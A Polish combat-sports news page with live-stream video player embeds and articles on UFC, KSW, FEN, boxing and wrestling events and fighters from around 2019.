LIVE: Gala Sharks Attack 2

Zapraszamy na transmisję telewizyjną z gali mma Sharks Attack 2.

[kod]

Gala Sharks Attack 2

Gala Sharks Attack 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Lesznowola Kickboxing Fight 2

Zapraszamy na transmisję telewizyjną z gali kickboxingu Lesznowola Kickboxing Fight 2.

[kod]

Lesznowola Kickboxing Fight 2

Lesznowola Kickboxing Fight 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Khandozko rywalem Fabińskiego

Podczas gali UFC on ESPN+11 w Sztokholmie zaprezentuje się Bartosz Fabiński. 1 czerwca Polak zmierzy się z Sergiejem Khandozko.

33-latek z Warszawy szykuje się do piątej walki w UFC. Dotychczas Fabiński zbierał w najlepszej organizacji MMA na świecie dobre recenzje. Jednak ostatniego występu Polak nie będzie wspominał najlepiej, ponieważ w Buenos Aires doznał pierwszej porażki. Michael Prazeres poddał Fabińskiego po upływie 62 sekund. Warto również wspomnieć, że polski fighter miał dłuższą przerwę od występów. W listopadzie 2015 roku pokonał Hectora Urbinę i zniknął na kilkanaście miesięcy. Blisko trzy lata czekaliśmy na kolejną walkę Polaka! Fabiński tłumaczył, że jego przerwa spowodowana była kłopotami zdrowotnymi. 22 lipca 2018 roku "The Butcher" wrócił i pokonał Emila Meeka. W najbliższym występie Polak będzie chciał powrócić na zwycięską ścieżkę, ale jego rywal z pewnością "tanio skóry nie sprzeda".

Sergiei Khandozko w Sztokholmie stoczy pierwszy pojedynek w UFC. 26-latek występował m.in. w organizacji ACB, jednak prezentował się tam w kratkę – trzy wygrane i cztery porażki. W dwóch ostatnich starciach Khandozhko zwyciężył rywali przed czasem. Trzeba przyznać, że Rosjanin jest niezwykle niebezpiecznym przeciwnikiem. Aż 17 z 25 wygranych pojedynków zakończył przed czasem. W większości przypadków triumfował przez nokaut! Khandozhko ma na swoim koncie pięć porażek.

26-letni Rosjanin jest groźny, którego atutem jest wszechstronność. W stójce może sprawić Polakowi sporo problemów, jednak Fabiński to doświadczony fighter doskonale znający smak rywalizacji w UFC. Z pewnością w parterze poradzi sobie z Khandozhko. Niejednokrotnie w UFC pokazał, że potrafi wykazać się skutecznością.

W Sztokholmie w walce wieczoru zaprezentują się Alexander Gustafsson i Anthony Smith. W akcji zobaczymy również m.in. Volkana Oezdemira w starciu z Illirem Latifim czy Jimi'ego Manuwę, który będzie rywalizował z Aleksandarem Rakiciem.

Fot. Bartosz "The Butcher" Fabiński

KM

Jotko głodny walki

Po wygranej z Alenem Amedovskim, Krzysztof Jotko nie może doczekać się kolejnej walki. Polski fighter rzucił wyzwanie Eliasowi Theodorou.

29-letni Jotko przed galą UFC Fight Night 149 w Petersburgu znajdował się w trudnej sytuacji. Przez rok nie pojawił się w oktagonie ze względu na kontuzję, w konsekwencji której musiał przejść operację. Później Polaka czekała kilkumiesięczna rekonwalescencja. Na początku roku 29-latek był gotowy do powrotu i zgłaszał swój akces do kolejnego występu w UFC. Umieszczono go w rozpisce gali w Sankt Petersburgu. Początkowo miał rywalizować z Romanem Kopyłowem, ale ten wypadł z rozpiski z powodu kontuzji. Zastąpił go Alen Amedovskim. Dla Jotki był to więc powrót, ale o podwójnym znaczeniu. Sytuacja naszego zawodnika w UFC nie była najlepsza. Przegrał trzy ostatnie walki i w starciu z Macedończykiem musiał wspiąć się na wyżyny. Jotko zaprezentował MMA na dobrym poziomie. Polak często atakował rywala, sprowadzał pojedynek do parteru, w efekcie działań naszego zawodnika twarz Macedończyka zalana była krwią. Zwycięstwo 29-latka urodzonego w Elblągu stało się faktem.

Rozochocony 20 wygraną w karierze Jotko liczy na kolejną walkę. Polak rzucił wyzwanie Eliasowi Theodorou. – Kilka lat temu chciałeś ze mną walczyć, zróbmy to w lipcu bądź sierpniu! Co o tym myślisz? – napisał Polak na Twitterze. 30-letni Kanadyjczyk nie wyklucza takiej możliwości. – Byłoby zaszczytem dzielić z Tobą klatkę – odpowiedział.

Jak widać, nie ma nic prostszego niż zaczepka w mediach społecznościowych, co pozwala nawiązać kontakt i wykonać krok w stronę ewentualnego pojedynku. Theodorou to doświadczony zawodnik, który w UFC rywalizuje od pięciu lat. 4 maja przegrał z Derekiem Brunsonem, który przerwał serię zwycięstw Kanadyjczyka. Wcześniej 30-latek pokonał Daniela Kelly'ego, Trevora Smitha i Eryka Andersa. Theodorou ma na swoim koncie 16 zwycięstw i trzy porażki (wszystkie w UFC).

Jotko stoczył więcej walk niż Theodorou, bo 24, z których 20 wygrał. W UFC Polak miał fantastyczną serię pięciu triumfów z rzędu i mówiło się, że może myśleć o walce o pas. Jego serię przerwał jednak David Branch. Oby wygrana z Amedovskim była początkiem kolejnej wspaniałej serii Krzysztofa Jotko.

Fot. Krzysztof Jotko Facebook

KM

UFC rusza do Abu Dhabi

7 września w Abu Dhabi odbędzie się gala UFC 242. To będzie trzecie wydarzenie organizowane przez amerykańską organizację w stolicy Zjednoczonych Emiratów Arabskich.

Wizyta w Abu Dhabi zapowiada się niezwykle ciekawie. UFC chce tworzyć swoją potęgę i być w każdym zakątku świata. Po raz pierwszy organizacja gościła w Abu Dhabi w 2010 roku. W walce wieczoru gali UFC 112 Anderson Silva pokonał Demiana Maię. O poziom sportowy dbali również tacy zawodnicy jak: Frankie Edgar, Rafael dos Anjos czy Mark Munoz. Po raz kolejny MMA na najwyższym poziomie zawitało do stolicy Zjednoczonych Emiratów Arabskich w 2014 roku – UFC Fight Night 39. Porażkę zanotował wtedy Daniel Omielańczuk, który przegrał z Jaredem Rosholtem. W pojedynku wieczoru Roy Nelson znokautował Antonio Rodrigo Nogueirę.

Powrót po pięciu latach do Abu Dhabi to pierwszy krok organizacji. UFC zamierza przygotowywać gale w stolicy ZEA cyklicznie. Nie ma się, co dziwić, ponieważ amerykańska organizacja chce docierać ze swoim produktem do każdego zakątka świata i sprawiać, że będzie on pożądany. W tym roku UFC gościło m.in. w Australii (UFC 234) czy w Rosji (UFC Fight Night 149). Organizacja regularnie odwiedza również Azję, a o jej obecności w Europie nie trzeba nawet przypominać.

W kontekście UFC 242 w Abu Dhabi mówi się, że w walce wieczoru mogą wystąpić Khabib Nurmagomedov i Dustin Poirier. Zatem byłby to pojedynek o pas wagi lekkiej. Problem w tym, że urodzony w Dagestanie zawodnik jest zawieszony na dziewięć miesięcy. Po zwycięskiej walce (październik 2018) z Conorem McGregorem, Nurmagomedov wyskoczył z oktagonu i zaatakował trenera rywala. Zawieszenie mistrza kończy się… we wrześniu. Przypadek? Z kolei Poirier znajduje się w posiadaniu tymczasowego pasa, po tym jak w kwietniu pokonał Maxa Hollowaya. Dla 30-letniego Amerykanina była to piąta wygrana z rzędu. Ostatni raz Poirier przegrał we wrześniu 2016 roku.

Zapewne UFC zrobi wszystko, aby stworzyć w Abu Dhabi widowisko. Organizacja wraca po pięciu latach do ZEA, więc musi zrobić to z przytupem. Zwłaszcza, że wiąże z tym rynkiem pewne nadzieje.

Fot. UFC

KM

LIVE: Gala DSF 22: Droga Wojownika

Zapraszamy na transmisję telewizyjną z gali DSF 22: Droga Wojownika. Transmisja dostępna tylko dla widzów z zagranicy. Widzów z Polski zapraszamy na antenę TVP Sport.

[kod]

DSF 22: Droga Wojownika

DSF 22: Droga Wojownika

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream9/live-hd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream9/live-hd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream9/live-hd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Lista coraz krótsza

Dwóch faworytów do czerwcowego starcia z mistrzem świata IBF, IBO, WBO i WBA Anthony'm Joshuą. Są nimi: Michael Hunter i Andy Ruiz Jr.

1 czerwca Joshua miał rywalizować z Jarrellem Millerem. W próbce moczu oddanej przez Amerykanina 20 marca wykryto niedozwolone substancje. Miller nie otrzymał licencji na pojedynek z "AJ". W związku z tym ruszyły poszukiwania najbliższego przeciwnika mistrza świata. Giełda nazwisk była długa. Wymieniano Polaków – Adama Kownackiego i Artura Szpilkę. Pojawiły się również nazwiska Kubrata Pulewa, Manuela Charra, Trevora Bryana, Luisa Ortiza, Michaela Huntera czy Andy'ego Ruiza Jr. W grze pozostali dwaj ostatni. – Lubię Andy'ego Ruiza, lubię Michaela Huntera. Myślę, że to dwaj pięściarze, którzy dadzą wiarygodne walki – mówił boxingscene.com Eddie Hearn, promotor czempiona.

Ostatnio (listopad 2018 roku) Hunter pokonał w dziewiątej rundzie Aleksandra Ustinova i sięgnął po tytuł międzynarodowego mistrza WBA. Dotychczas 30-letni Amerykanin przegrał jeden pojedynek – z Oleksandrem Usykiem. Hunter ma na swoim koncie 16 zwycięstw, w tym 11 przed czasem. Z kolei Andy Ruiz Jr. miał szansę sięgnąć po pas WBO, jednak w starciu o wakujący tytuł lepszy okazał się Joseph Parker. Później bokser z Nowej Zelandii przegrał z "AJ" i ten wzbogacił swój dorobek. Wróćmy do Ruiza Jr., pięściarz wygrał trzy ostatnie starcia. W pokonanym polu pozostawił Devina Vargasa, Kevina Johnsona oraz Alexandra Dimitrenko. Eddie Hearn chwali Huntera i Ruiza. – Ruiz może nie wygląda najlepiej, ale jest twardy. Jest Meksykaninem, ma szybkie ręce i wyprowadza dużo ciosów. Michael Hunter jest dobrze wyszkolony technicznie i trudny do pokonania – podaje promotor Hearn.

Hearn nie ukrywa, że wielu pięściarzy liczy wyłącznie na pieniądze. – Są inni kandydaci, ale chodzi im o pieniądze i nie mam pewności, czy na pewno chcą walczyć. Nie chcę takiego podejścia, to mam być wielka noc dla Joshuy. To Madison Square Garden. Tam będzie 20 tys. ludzi. To musi być prawdziwa walka – podsumowuje Hearn.

Za duże pieniądze do ringu z Joshuą gotów był wejść Luis Ortiz. Kubańczyk chciał za walkę 10 milionów dolarów, obóz "AJ" proponował tylko 5. Rozbieżności były więc zbyt duże…

Fot. Anthony Joshua Facebook

KM

Szreder powalczy z Wiwatowskim o podbój Amfiteatru

Marcin Szreder (5-3) powraca do klatki FEN! Jego rywalem 15 czerwca w ostródzkim Amfiteatrze podczas gali Fight Exclusive Night 25 będzie grudziądzanin, Kewin Wiwatowski (2-2).

Dla Szredera będzie to szósty występ dla Fight Exclusive Night i ósmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low-kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem Aytakiem Yahsim podczas gali FEN 11 „Warsaw Time”. W marcu 2017 roku podczas FEN 16 „Warsaw Reloaded” już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim oraz z Rafałem Korczakiem. W tym drugim pojedynku o zwycięstwie zadecydowała dogrywka.

Wiwatowski to 24-letni grudziądzanin, który starty w K-1 przeplata z występami w MMA. W przeszłości rywalizował w dwóch kategoriach wagowych – półciężkiej i ciężkiej. W styczniu tego roku Wiwatowski wygrał w 3. rundzie przez TKO z Mateuszem Janu. Dobrą passę grudziądzanin kontynuował w formule mieszanej. Po emocjonującym boju wygrał z niepokonanym Pawłem Zakrzewskim. Wiwatowski rozprawił się z rywalem w 2. rundzie.

KARTA WALK FEN 25:

70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs TBA* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
95 kg, K-1: Marcin Szreder vs Kewin Wiwatowski 
TBA vs TBA 
TBA vs TBA 
TBA vs TBA 

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

Sponsorem głównym federacji Fight Exclusive Night jest Grupa LOTOS.

ZAKUP BILETÓW na galę FEN 25 jest możliwy na  Eventim.pl oraz na stronie organizacji:  http://fen-mma.com/bilet/.

Mistrzowska szansa Sulęckiego

28 czerwca 2019 roku może być wyjątkowy dla Macieja Sulęckiego. Jak podał dziennikarz Fox Sports Mike Coppinger, tego dnia polski bokser spotka się z Demetriusem Andrade w pojedynku o pas WBO w wadze średniej.

Popularny "Striczu" wykonał ważny krok w stronę mistrzowskiej walki. W marcu w Liacouras Center w Filadelfii po morderczym starciu okazał się lepszy od Gabriela Rosado. Sędziowie wskazali na Sulęckiego, który dzięki wygranej zdobył pas międzynarodowego mistrza WBO. Niemal pewne było, że w kolejnym starciu Polak spotka się z Demetriusem Andrade. Od razu mówiło się o czerwcowym terminie, jednak w obozie "Striczu" pojawił się niepokój. W starciu z Rosado Polak doznał urazu nadgarstka. Badania i walka z czasem, bo de facto lada dzień trzeba rozpoczynać przygotowania. Kilka dni temu Sulęcki wrócił do treningów. Jak widać, wszystko jest na dobrej drodze. Dziennikarz Mike Coppinger poinformował na Twitterze, że strony osiągnęły porozumienie. – Demetrius Andrade i Maciej Sulęcki zgodzili się na warunki do walki o tytuł wagi średniej 28 czerwca na DAZN. Walka odbędzie się w Dunkin 'Donuts Centre w Providence, Rhode Island, rodzinnym mieście Andrade. Świetnie zobaczyć wojowników – czytamy we wpisie.

31-letni Andrade dotychczas nie przegrał na zawodowym ringu. Amerykanin stoczył 27 walk, z czego 17 wygrał przed czasem. Urodzony w Providence pięściarz tytuł WBO wywalczył w październiku 2018 roku. W Bostonie Andrade pokonał Waltera Kautondokwę. Dotychczas 31-latek tytułu bronił raz – w styczniu, w dwunastej rundzie, pokonał Artura Akawowa. Warto wspomnieć, że wcześniej Andrade z powodzeniem rywalizował w wadze junior średniej.

Dla Sulęckiego walka z 31-letnim Amerykaninem będzie najważniejszym starciem w karierze. Polak stanie przed wielką szansą. "Striczu" stoczył w USA siedem walk, z których przegrał tylko jedną – z Danielem Jacobsem. Polak niejednokrotnie pokazywał zabójczą skuteczność i wygrywał przed czasem. Sulęcki jest numerem dwa w rankingu WBO.  Dla Polaka starcie z Andrade będzie trzydziestym pojedynkiem w karierze.

Fot. Maciej "Striczu" Sulęcki

KM

Kto tymczasowym mistrzem?

Głównym wydarzeniem gali KSW 48, która odbędzie się 27 kwietnia w Lublinie będzie pojedynek o tymczasowy pas wagi piórkowej pomiędzy Romanem Szymańskim a Salahdinem Paramassem. Na rewanż w starciu z Stjepanem Bekavacem liczy Łukasz Jurkowski.

21-letni Parnasse z impetem rozpoczął przygodę z KSW. Francuz trafił do polskiej organizacji jako młody i zdolny zawodnik, ale w rywalizacji z bardziej doświadczonymi fighterami pokazał wysokie umiejętności. Parnasse w pokonanym polu pozostawił Łukasza Rajewskiego, Artura Sowińskiego i Marcina Wrzoska. Młody Francuz dobrze czuje się zarówno w stójce, jak i w parterze. Dotychczas zanotował 12 zwycięstw i jeden remis. Jego rywalem w starciu o tymczasowy pas kategorii piórkowej będzie Roman Szymański. Dla byłego mistrza FEN będzie to piąte starcie w KSW. Dotychczas Szymański zanotował trzy zwycięstwa, jeden pojedynek przegrał. 25-letni Szymański musi mieć się na baczności, ale ma za sobą doświadczenie z rywalizacji o pas. Czy zatrzyma rewelacyjnego Francuza?

W grudniu 2015 roku Łukasz Jurkowski zanotował porażkę w starciu ze Stjepanem Bekavacem. Wtedy polski zawodnik doznał kontuzji, starcie zakończyło się przez techniczny nokaut. Podczas KSW 48 "Juras" będzie miał okazję do rewanżu. Jurkowski wrócił do zmagań po sześcioletniej przerwie. Z MMA pożegnał się w marcu 2011, jednak w maju 2017 wystąpił na Stadionie Narodowym (KSW 39). Polak pokonał Rameau Thierry Sokoudjou i rozbudził swój apetyt, czego efektem był kolejny występ w oktagonie.  Podczas KSW 42 "Juras" przegrał z Martinem Zawadą. Najbliższy rywal Polaka, czyli Stjepan Bekavac nie ma ostatnio dobrej passy. 36-letni Chorwat przegrał trzy pojedynki z rzędu. 

Ciekawie zapowiada się występ coraz pewniej radzącego sobie w KSW Gracjana Szadzińskiego. 29-latek wygrał dwa ostatnie pojedynki przez nokaut – z Paulem Redmondem i Maciejem Kazieczko. Warto dodać również triumf z Leonidem Smirnovem na Babilon MMA 1. W Lublinie rywalem Szadzińskiego Marian Ziółkowski, który ostatnio (KSW 46) odprawił Grzegorza Szulakowskiego.

Karta walk KSW 48:

Pojedynek o tymczasowy pas kategorii piórkowej: Roman Szymański – Salahdine Parnasse

Łukasz Jurkowski – Stjepan Bekavac (93kg)

Gracjan Szadziński – Marian Ziółkowski (70,3kg)

Filip Wolański – Filip Pejić (65,8kg)

Michał Michalski – Milos Janicić (77,1kg)

Cezary Kęsik – Jakub Kamieniarz (83,9kg)

Hubert Szymajda – Shamil Musaev (70,3kg)

Sebastian Przybysz – Bogdan Barbu (61,2kg)

Fot. Roman Szymański – MMA Fighter Facebook

KM

Problemy Millera

„A miało być tak pięknie”. Jarrell Miller miał rywalizować z mistrzem świata wagi ciężkiej WBA, WBO, IBF i IBO Anthony'm Joshuą. W jego organizmie wykryto obecność niedozwolonych środków, Komisja Sportowa Stanu Nowy Jork nie chce wydać pięściarzowi licencji na pojedynek.

Marzenia Jarrella Millera runęły w jednej chwili, prysnęły niczym bańka mydlana. Informacja o pozytywnym wyniku badań sprawiła, że walka z Joshuą stanęła pod znakiem zapytania. Test został przeprowadzono 20 marca, a środek, który znaleziono w organizmie Millera zwiększa siłę i wytrzymałość. Od razu pojawiły się pytania o walkę z mistrzem świata, którą zaplanowano na 1 czerwca w Madison Square Garden. Jarrell Miller miał spełniać marzenia i udowodnić, że jest bokserem najwyższej klasy.

Wszystko układało się po jego myśli. W ringu prezentował wysoką skuteczność i zapisał na koncie 23 wygrane pojedynki. O jego sile przekonali się m.in. Tomasz Adamek i Mariusz Wach, którzy przegrali z Amerykaninem przed czasem. Miał stanąć do walki z Joshuą, ale…

"Big Baby" nie zamierza jednak składać broni. – Jestem zdruzgotany wiadomością o zawieszeniu mojej licencji bokserskiej. Będę odwoływał się od tej decyzji – zapewnia Jarrell Miller. Bokser przekonuje, że nie miał do czynienia z dopingiem. – Nigdy świadomie nie wziąłem żadnej zakazanej substancji – podkreśla. Pozostaje więc otwarcie i zbadanie próbki B.

Miller stoi na przegranej pozycji. Jego sytuacja jest niezwykle trudna, a promotor Joshuy – Eddie Hearn rozpoczął poszukiwania nowego rywala dla "AJ". Wśród potencjalnych rywali mistrza świata wagi ciężkiej wymienia się również Polaków – Adama Kownackiego i Artura Szpilkę. Jednak ten pierwszy nie spotka się raczej z Joshuą. Kownacki ma w perspektywie rywalizację o pas WBC, który jest w posiadaniu Deontaya Wildera. W kontekście spotkania 1 czerwca z Joshuą wymienia się również m.in. Luisa Ortiza, Michaela Huntera, Manuela Chara, Oscara Rivasa i Kubrata Pulewa.

Dla 29-letniego zawodnika z Watfordu walka w Madison Square Garden będzie pierwszą stoczoną poza Wielką Brytanią. Dotychczas Anthony Joshua stoczył 22 pojedynki, z których 21 wygrał przed czasem.

Fot. Jarrell "BIG Baby" Miller Facebook

KM

Sobota z Polakami

Szykuje się wieczór z polskimi zawodnikami podczas gali UFC on ESPN+7. 20 kwietnia w Petersburgu wystąpią: Krzysztof Jotko, Marcin Tybura i Michał Oleksiejczuk.

29-letni Jotko wraca do rywalizacji po rocznej przerwie. Ostatnią walkę Polak stoczył 14 kwietnia 2018 roku w Gila River Arena w Glendale, gdzie przegrał w trzeciej rundzie z Bradem Tavaresem. Jotko przygotowywał się do starcia z Adamem Jandijewem, które miał stoczyć w Moskwie. Zawodnik zerwał więzadło krzyżowe i pojedynek został odwołany. W sierpniu przeszedł operację i czekała go kilkumiesięczna rekonwalestencja. Głodny rywalizacji Jotko zgłaszał swoją gotowość do rywalizacji. UFC umieściła go w rozpisce gali w Petersburgu, gdzie początkowo miał stoczyć bój z Romanem Kopyłowem.  Rosjanin doznał kontuzji i 20 kwietnia nie wystąpi w Rosji. Jotko zmierzy się z Alenem Amedovskim. Dla 31-letniego Macedończyka będzie to debiut w UFC, w dotychczasowej karierze jeszcze nie przegrał. Z kolei dla Polaka występ w Petersburgu ma ogromne znaczenie. Jotko przegrał trzy ostatnie pojedynki. Kolejne potknięcie może być kosztowne… 

Ósmą walkę w UFC stoczy były mistrz organizacji M-1 Global w wadze ciężkiej Marcin Tybura. 33-latek wrócił na zwycięską ścieżkę w lipcu w Hamburgu, gdzie pokonał na dystansie trzech rund Stefana Struve'a. Wcześniej przegrał z Derrickiem Lewisem i Frabicio Werdumem. Ogólnie – Tybura wygrał w UFC cztery walki, a poległ trzy razy. W Petersburgu Polakowi przyjdzie rywalizować z Shamilem Abdurakhimovem. 37-latek ostatnio pokonał Andreja Arlovskiego.

Drugą walkę po przerwie spowodowanej dyskwalifikacją stoczy Michał Oleksiejczuk. W lutym "Lord" udowodnił, że miejsce w UFC mu się należy. Polak w Pradze już w pierwszej rundzie odprawił Giana Villante, a jego dynamika i determinacja były godne podziwu. Oleksiejczuk jest gwarancją ciekawego widowiska, bo ponad 70% zwycięstw odniósł przed czasem. W Peteresburgu rywalem Polaka będzie Gadzhimurad Antigulov. 32-letni Rosjanin stoczy czwartą walkę w UFC. Dotychczas wszystkie walki z jego udziałem kończyły się przed czasem. Trzy pojedynki – dwie wygrane i porażka.

W walce wieczoru spotkają się doświadczeni zawodnicy wagi ciężkiej – Alistair Overeem oraz Alexei Olejnik.

Fot. Krzysztof Jotko Facebook

KM

Dwa srebra i brąz

Polska zakończyła mistrzostwa Europy w zapasach w Bukareszcie z trzema medalami na koncie. Wicemistrzami Starego Kontynentu zostali Geworg Sahakjan (67kg, styl klasyczny) i Zbigniew Baranowski (92kg, styl wolny), po brąz sięgnął Magomedmurad Gadżijew (70kg, styl wolny).

29-letni Sahakyan (na zdjęciu pierwszy z lewej) w Bukareszcie zaprezentował fantastyczną formę. W pierwszej walce reprezentant Polski pokazał siłę, ponieważ uporał się z brązowym medalistą ubiegłorocznego czempionatu Karenem Aslanyanem. Potem Sahakyan uporał się z Yaraslauem Kardashem, a następnie pokonał Konstantina Stasa. W półfinale reprezentant Polski stoczył zacięty bój z Mate Nemesem. Serb postawił trudne warunki 29-latkowi, jednak w końcu zapaśnik Cartusii Kartuzy przejął inicjatywę i wygrał 5:3. Finał rozpoczął się po myśli Sahakyana – 1:0, ale reprezentant Polski przegrał 1:5. Dla 29-latka to kolejny sukces. W ubiegłym roku wywalczył brąz mistrzostw świata.

Wielki sukces Zbigniewa Baranowskiego. Zapaśnik rywalizujący w stylu wolnym został wicemistrzem Europy. 27-latek szedł w Bukareszcie jak burza, jedynie w półfinale stoczył wyrównaną walkę, ale triumfował z Ibrahimem Bolukbasim – 6:5. W finale na Polaka czekał utytułowany Szarif Szarifow. Reprezentant Azerbejdżanu w 2012 roku wywalczył złoto olimpijskie w kategorii 84kg, cztery lata później sięgnął po brąz w 86kg. W finale mistrzostw Europy Szarifow pewnie pokonał Baranowskiego – 7:0. Dla Polaka srebro to ogromny sukces i zarazem wielka radość. 

Kolejny medal mistrzostw Europy wywalczył Magomedmurad Gadżijew. Reprezentant Polski stanął na podium Starego Kontynentu czwarty raz z rzędu! Brąz jest pierwszym medalem tego koloru w jego kolekcji. Wydawało się, że w Bukareszcie Gadżijew wejdzie do finału. Prowadził z Mustafą Kayą już 6:0, jednak przegrał. W starciu o brąz wystrzegał się błędów i wypunktował Semena Radułowa. 

O krok od podium byli: Roksana Zasina (53kg), Michał Tracz (63kg, styl klasyczny), Krzysztof Bieńkowski (65kg, styl wolny) oraz Robert Baran (125kg, styl wolny).

Trzy medale to wynik gorszy niż rok temu w Kapijsku w Rosji. Wtedy to zdobyliśmy cztery medale. Po srebra sięgnęli Zasina i Gadżijew, a brązowe krążki wywalczyli: Katarzyna Krawczyk i Robert Baran.

Fot. Polski Związek Zapaśniczy

KM

"Babilon MMA 8" – historyczna gala na torze kolarskim w Pruszkowie

TOMASZ BABILOŃSKI WYSTAWIA SWOJE NAJCIĘŻSZE DZIAŁA!

Walki o pasy mistrzowskie federacji Babilon MMA z udziałem Daniela Skibińskiego i Rafała Haratyka, plus występy takich zawodników jak Michał Kita czy Daniel Rutkowski – Tomasz Babiloński wystawia wszystkich swych najlepszych zawodników na historycznej gali Mieszanych Sztuk Walki, która odbędzie się 11 maja na torze kolarskim w Pruszkowie.

– Nigdy wcześniej nie było gali sportów walki na powstałym przed 10 laty pierwszym w Polsce krytym torze kolarskim. A obiekt w Pruszkowie jest duży, pomieści sporo kibiców. To fajne miejsce na dobrą galę MMA, także z powodu bliskości Warszawy. Najważniejsze jest oczywiście widowiskowo sportowe, a dzięki świetnej karcie walk mogę zapewnić, że to będzie znakomity event – mówi właściciel organizacji Babilon MMA Tomasz Babiloński, dla którego to już ósma gala pod własnym szyldem.

Daniel "Skiba" Skibiński (13-5, 2 KO, 2 SUB) będzie bronił pasa kategorii półśredniej (77,1 kg), który wywalczył po zwycięstwie z byłem zawodnikiem UFC Pawłem Pawlakiem. Z kolei Rafał "Polski Czołg" Haratyk (11-3-2, 2 KO, 4 SUB) powalczy o tytuł Babilon MMA w kategorii średniej (83,9 kg).

– Dla obydwu przygotowujemy zagranicznych zawodników, bo tak naprawdę nie mają z kim walczyć w Polsce. Już wkrótce ogłosimy nazwiska przeciwników. I Daniel Skibiński, i Rafał Haratyk wcale nie będą faworytami pojedynków mistrzowskich… Taki jest mój model sportowy prowadzenia zawodników i organizowania gal – każdy kolejny rywal musi być mocniejszy. I tak będzie w przypadku Daniela i Rafała. Muszą być gotowi na najtrudniejsze wyzwania – podkreślił organizator gali w Pruszkowie.

Na torze kolarskim wystąpią również widowiskowo walczący w wadze 120,2 kg Michał "Masakra" Kita (18-10, 9 KO, 6 SUB) i w kategorii 65,8 kg Daniel "Rutek" Rutkowski (7-2, 5 KO, 1 SUB).

– Michał Kita stoczył bardzo dobrą walkę na naszej poprzedniej gali w Żyrardowie i nie ma co robić przerw, skoro jest w takim gazie. Tym razem zmierzy się z Łukaszem Brzeskim (6-1, 4 KO, 2 SUB), który na naszej szóstej gali w Raszynie pokonał Michała Orkowskiego. Po 1,5-rocznej pracy promocyjno-organizacyjnej mamy w grupie kilku świetnych zawodników, którzy przyciągają fanów na trybuny. Kolejnym po Haratyku, Skibińskim i Kicie, jest były reprezentant kraju w zapasach Rutkowski. Do końca tygodnia ogłosimy nazwisko jego oponenta. To będzie fighter MMA, który odważnie jeździe i bije się na zagranicznych galach. Eksperci, z którymi rozmawiałem na temat zestawienia Rutkowskiego z tym właśnie zawodnikiem, są zdania, że to będzie niesamowity bój dwóch walczaków – przyznał Tomasz Babiloński.

Nowym nazwiskiem w "talii" Babilońskiego jest Adrian "Ares" Błeszyński (7-2, 6 KO, 1 SUB), który w wadze 83,9 kg spotka się z Michałem "Crusherem" Pietrzakiem (7-3, 2 KO, 2 SUB), który odniósł zwycięstwo na styczniowej gali Babilon MMA 7 w Żyrardowie.

– Wiele lat temu Adrian Błeszyński stoczył dwie walki w boksie zawodowym, ale mu nie poszło i postawił na Mieszane Sztuki Walki. Zauważyłem go na jednej z mniejszych gal, gdzie pokazał się z kapitalnej strony – to fighter, w którego warto zainwestować. Wiele razy zdarza się, że jadę i obserwuję chłopaków, którzy mają potencjał i trzeba dać im szansę. Błeszyński i Pietrzak mają podobne rekordy, wielką chęć aby wygrywać i to kolejne starcie, które rozgrzeje publiczności w hali i przed telewizorami – powiedział organizator.

Tomasz Babiloński zapowiedział, że kart walk Babilon MMA 8 zostanie wzbogacona o kolejne nazwiska. – Poza tym warto obejrzeć walki z udziałem amatorów, bo tam są przyszli zawodowcy i być może mistrzowie naszej federacji.

Bilety w cenie od 30 PLN są już dostępne w serwisie Eventim.pl.

Kolejny krok Wirtuoz Challenge

Odliczanie przed galą Wirtuoz Challenge 2 – Next Step. Początek widowiska 6 kwietnia o 19.00 w Wolborzu.

Ponad pół roku temu (22 września 2018 roku) odbyła się pierwsza gala Wirtuoz Challenge. Impreza okazała się sukcesem i dała satysfakcję organizatorem. Nie brakowało ciekawych walk, które mogły podobać się kibicom.  Przed czasem w pojedynkach na zasadach MMA wygrywali Adrian Bartosiński (84kg) oraz Piotr Drozdowski (77kg). Obu zobaczymy podczas sobotniej gali. Tak jak i Roberta Krasonia, który podczas Wirtuoz Challenge 1: Początek pokonał w K-1 Daniela Kolasińskiego.

